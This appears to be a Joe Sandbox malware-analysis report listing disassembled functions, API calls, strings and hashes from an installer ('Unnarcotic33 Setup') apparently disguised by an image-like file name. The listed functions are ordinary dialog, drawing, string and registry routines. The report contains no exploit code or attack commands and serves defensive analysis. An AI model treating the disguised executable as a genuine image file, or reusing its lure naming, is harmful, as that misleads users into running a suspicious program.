Snapshot File: hcaresult_0_2_10000000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Global$Free$AllocByteCharFromMultiStringWidelstrcpywsprintf
String ID:
API String ID: 2278267121-0
Opcode ID: 3ee0894ed4fe1b0af880131e50e06ec5e86c9efe6cc015858b811f9b411bf8ba
Instruction ID: 2b73d6ec50a8d2f500b210c633f34be0aa2160400c3477ecc395e3c682f4b703
Opcode Fuzzy Hash: 3ee0894ed4fe1b0af880131e50e06ec5e86c9efe6cc015858b811f9b411bf8ba
Instruction Fuzzy Hash: DE41ADB1109216EFF715DFA4CC88E2BBBECFB042D57124619FA51921A9DB35AC409B31

Function 0040400A Relevance: 13.6, APIs: 9, Instructions: 86windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404060
GetDlgItem.USER32(?,000003E8), ref: 00404074
SendMessageA.USER32(?,0000045B,00000001,00000000), ref: 00404092
GetSysColor.USER32(?), ref: 004040A3
SendMessageA.USER32(?,00000443,00000000,?), ref: 004040B2
SendMessageA.USER32(?,00000445,00000000,04010000), ref: 004040C1
lstrlenA.KERNEL32(?,?,00000445,00000000,04010000,?,00000443,00000000,?,?,0000045B,00000001,00000000), ref: 004040C4
SendMessageA.USER32(?,00000435,00000000,00000000), ref: 004040D3
SendMessageA.USER32(?,00000449,?,?), ref: 004040E8

Part of subcall function 00403E8C: SetDlgItemTextA.USER32(?,?,00000000), ref: 00403EA6

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$Item$ButtonCheckColorTextlstrlen
String ID:
API String ID: 975578812-0
Opcode ID: 4a373e71f557a819994200e52e65e0901f72cf92ddef205a664c8259f9d36b6f
Instruction ID: 4bc2b926a6c7cd0b1bd4f0ec5791e08d620b514608e1a02b87d87c64bc9e1770
Opcode Fuzzy Hash: 4a373e71f557a819994200e52e65e0901f72cf92ddef205a664c8259f9d36b6f
Instruction Fuzzy Hash: DC21A4B2E402147EEB116F71DD45F6A3EACEB40741F004466FB05FA1D2C6B89A018AA9

Function 00405DE7 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E3F
CharNextA.USER32(?,?,?,00000000), ref: 00405E4C
CharNextA.USER32(?,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E51
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E61

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DE8, 00405DED
*?|<>/":, xrefs: 00405E2F
"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe", xrefs: 00405E23

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3558225924
Opcode ID: ca421e288064bc83167a684e77603dc3b4a1af20f0b604c6044bfd7d30eb1efe
Instruction ID: bb0259e4d3285964694be274da6e12c2e2bd34974b8553a87efbf76dbfb260e1
Opcode Fuzzy Hash: ca421e288064bc83167a684e77603dc3b4a1af20f0b604c6044bfd7d30eb1efe
Instruction Fuzzy Hash: 01110872808B9129EB3217248C44B777F89CB9A760F18047BE5D5722C2D67C5E828AED

Function 00403EF3 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F10
GetSysColor.USER32(00000000), ref: 00403F2C
SetTextColor.GDI32(?,00000000), ref: 00403F38
SetBkMode.GDI32(?,?), ref: 00403F44
GetSysColor.USER32(?), ref: 00403F57
SetBkColor.GDI32(?,?), ref: 00403F67
DeleteObject.GDI32(?), ref: 00403F81
CreateBrushIndirect.GDI32(?), ref: 00403F8B

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: 89798723a00c12270f90293d7c2ee841fba0b57e24c86d845a8f250d462b8669
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: 4A21C671904745AFCB209F28DD08B4BBFF8AF00705F048A2AF895E22E0C338E904CB55

Function 100021AF Relevance: 10.6, APIs: 7, Instructions: 136memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 10002264
GlobalAlloc.KERNEL32(?,?), ref: 1000228E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022A3
GlobalAlloc.KERNEL32(?,?), ref: 100022B2
CLSIDFromString.OLE32(00000000,00000000), ref: 100022BF
GlobalFree.KERNEL32(00000000), ref: 100022C6
GlobalFree.KERNEL32(00000000), ref: 100022FD

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012E1,?,100011AB,-000000A0), ref: 10001234

Memory Dump Source

Source File: 00000000.00000002.17896186253.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.17896153967.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896219730.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896248787.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpynlstrlen
String ID:
API String ID: 3955009414-0
Opcode ID: 6f954f9c0618815bde6281dca4a505d58a7e7623750b0b9f916781d510563757
Instruction ID: a605aeec0f08bdd00b0ee3428b37a4786007c3c680f5ed26bc2609ce7b065058
Opcode Fuzzy Hash: 6f954f9c0618815bde6281dca4a505d58a7e7623750b0b9f916781d510563757
Instruction Fuzzy Hash: 5741AD70504306EFF364DFA48984B6BB7F8FB453E1F21492AF956C619ADB30A840DB61

Function 00404754 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040476F
GetMessagePos.USER32 ref: 00404777
ScreenToClient.USER32(?,?), ref: 00404791
SendMessageA.USER32(?,00001111,00000000,?), ref: 004047A3
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004047C9

Strings

f, xrefs: 004047A5

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: e12531cc2cbda9362446d3482c890d37ab0b9233c447bf2f23075c067c261130
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: 98014075D00219BAEB11DBA4DC45BFEBBBCAB55711F10412BBA10B71C0C7B465418BA5

Function 00401D29 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040AFA0), ref: 00401DA1

Strings

Calibri, xrefs: 00401D87

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 8af17ff95081d21d1027b9af728977dfff0c54460677ef1fa0b078a7428bad5a
Instruction ID: f673732a1965e1841e3dc773f834cd1eb830dba4bc501641647caa1edf213688
Opcode Fuzzy Hash: 8af17ff95081d21d1027b9af728977dfff0c54460677ef1fa0b078a7428bad5a
Instruction Fuzzy Hash: BC0186B1958341AFE70157B06F1ABAB7F74A725705F100439F146B62E2C67C10158B2F

Function 00404646 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Unnarcotic33 Setup: Installing,Unnarcotic33 Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,00404592,000000DF,0000040F,00000400,00000000), ref: 00404700
wsprintfA.USER32 ref: 00404708
SetDlgItemTextA.USER32(?,Unnarcotic33 Setup: Installing), ref: 0040471B

Strings

%u.%u%s%s, xrefs: 004046EA
Unnarcotic33 Setup: Installing, xrefs: 004046EF, 004046F7, 004046FD, 00404711

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Unnarcotic33 Setup: Installing
API String ID: 3540041739-2646345114
Opcode ID: 7a81a8563b002668758aa30ec7e0d3ef26a39900569464a91fec119d387db878
Instruction ID: 4c0b19b1b1a6a4816020a8c86cd3a3baa7054b2c2c52423adae1d4b59055f951
Opcode Fuzzy Hash: 7a81a8563b002668758aa30ec7e0d3ef26a39900569464a91fec119d387db878
Instruction Fuzzy Hash: 40113A736002243AEB00A6799C01EEF3659DBD2335F14453BFA1AF50D2F97E981142A9

Function 00404672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Unnarcotic33 Setup: Installing,Unnarcotic33 Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,00404592,000000DF,0000040F,00000400,00000000), ref: 00404700
wsprintfA.USER32 ref: 00404708
SetDlgItemTextA.USER32(?,Unnarcotic33 Setup: Installing), ref: 0040471B

Strings

%u.%u%s%s, xrefs: 004046EA
Unnarcotic33 Setup: Installing, xrefs: 004046EF, 004046F7, 004046FD, 00404711

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Unnarcotic33 Setup: Installing
API String ID: 3540041739-2646345114
Opcode ID: e71bc9b29eeb09f43c78bc10772295be6f81fb3e8ed297937e24ce802457d4f2
Instruction ID: b9eb64851fedaacd123e4baa5ce65a5686f114beaf7671e7a0f873141027489b
Opcode Fuzzy Hash: e71bc9b29eeb09f43c78bc10772295be6f81fb3e8ed297937e24ce802457d4f2
Instruction Fuzzy Hash: B911087360023437DB00A5699C05EAF325ECBC2334F14463BFA29F61D1E9799C5182E9

Function 00402A47 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A68
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AA4
RegCloseKey.ADVAPI32(?), ref: 00402AAD
RegCloseKey.ADVAPI32(?), ref: 00402AD2
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AF0

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 6ccabfd9daed6dfd24be4e757130db04132cda2359aedd25e4475ff07f213d8b
Instruction ID: eecf360da6df2efa0186febf022189a705215a27ca05cea183c71e0b6ea401ae
Opcode Fuzzy Hash: 6ccabfd9daed6dfd24be4e757130db04132cda2359aedd25e4475ff07f213d8b
Instruction Fuzzy Hash: C4116D31600108BFDF219F90DE48DAA3B6DEB55348B108036FA06A00A0D7B89E519F69

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 021e644993cfb9adf629f3f775699f6f2d9ab0f22eaab13517154c12b5018b7c
Instruction ID: 7c3280a60d84a3596340f685d6ada4bc9ba3972ea03b1155ec5ca5a37b5200ea
Opcode Fuzzy Hash: 021e644993cfb9adf629f3f775699f6f2d9ab0f22eaab13517154c12b5018b7c
Instruction Fuzzy Hash: 01F04FB2905104AFD701EBA4EE88CAFB7BCEB44301B004476F601F2091C638AD018B79

Function 004038EC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,007A1F00), ref: 00403984

Strings

1033, xrefs: 004038F0, 004038FA, 0040396B
Unnarcotic33 Setup: Installing, xrefs: 004038EF
"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe", xrefs: 004038ED

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

